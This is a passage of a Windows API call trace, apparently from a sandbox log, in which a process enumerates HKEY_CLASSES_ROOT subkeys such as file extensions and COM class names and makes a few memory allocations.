lpName=".m2v", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.750] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xef, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m3u", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf0, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m4a", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf1, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m4b", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf2, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m4p", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf3, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m4r", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf4, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".m4v", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf5, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".mak", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf6, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".man", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf7, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".manifest", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.751] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0xf8, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName=".mapimail", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.753] VirtualAlloc (lpAddress=0xc00082c000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00082c000 [0181.775] VirtualAlloc (lpAddress=0xc00082e000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00082e000 [0181.808] VirtualAlloc (lpAddress=0xc000838000, dwSize=0xa000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000838000 [0181.868] VirtualAlloc (lpAddress=0xc000842000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000842000 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x501, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HNetCfg.HNetShare.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x502, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HNetCfg.NATUPnP", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x503, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HNetCfg.NATUPnP.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x504, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HomePage.HomePage", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x505, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HomePage.HomePage.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.869] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x506, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HotSpot", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x507, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="htafile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x508, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HTML.HostEncode", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x509, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HtmlDlgHelper.HtmlDlgHelper", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HtmlDlgHelper.HtmlDlgHelper.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HtmlDlgSafeHelper.HtmlDlgSafeHelper", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HtmlDlgSafeHelper.HtmlDlgSafeHelper.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="htmlfile", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="htmlfile_FullWindowEmbed", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x50f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="http", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.870] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x510, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="https", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x511, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HWXInk.E-Ink", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x512, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HWXInk.E-Ink.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x513, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="HyperV.AppHealthMonitor", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x514, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AbsoluteTime", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x515, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AbsoluteTime.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x516, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Accounting", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x517, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Accounting.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.871] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x518, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ADsDataStore", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x519, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ADsDataStore.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AuditChannel", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AuditChannel.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AuthorizationHost", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.AuthorizationHost.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.BaseCampHost", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x51f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.BaseCampHost.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x520, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.CClient", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x521, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.CClient.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.872] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x522, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ChangePassword", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x523, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ChangePassword.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.873] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x524, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.CRPBasedEAP", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.874] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x525, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.CRPBasedEAP.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x526, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.DatabaseAccounting", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x527, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.DatabaseAccounting.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x528, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPIdentity", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x529, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPIdentity.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPTerminator", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPTerminator.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPTypes", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.EAPTypes.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.875] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ExtensionHost", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x52f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ExtensionHost.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x530, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ExternalAuthNames", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x531, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.ExternalAuthNames.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x532, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.IASDataStoreComServer", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x533, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.IASDataStoreComServer.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x534, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.IasHelper", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x535, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.IasHelper.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x536, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.InfoBase", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.876] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x537, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.InfoBase.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x538, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineAccountValidation", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x539, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineAccountValidation.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53a, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineNameMapper", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53b, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineNameMapper.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53c, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineNTGroups", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53d, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MachineNTGroups.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53e, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Match", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x53f, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.Match.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x540, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MSChapErrorReporter", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.877] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x541, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.MSChapErrorReporter.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x542, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NetDataStore", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x543, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NetDataStore.1", lpcchName=0xc0006b9738, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0181.878] RegEnumKeyExW (in: hKey=0x80000000, dwIndex=0x544, lpName=0xc0006b9770, lpcchName=0xc0006b9738, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IAS.NTEventLog", 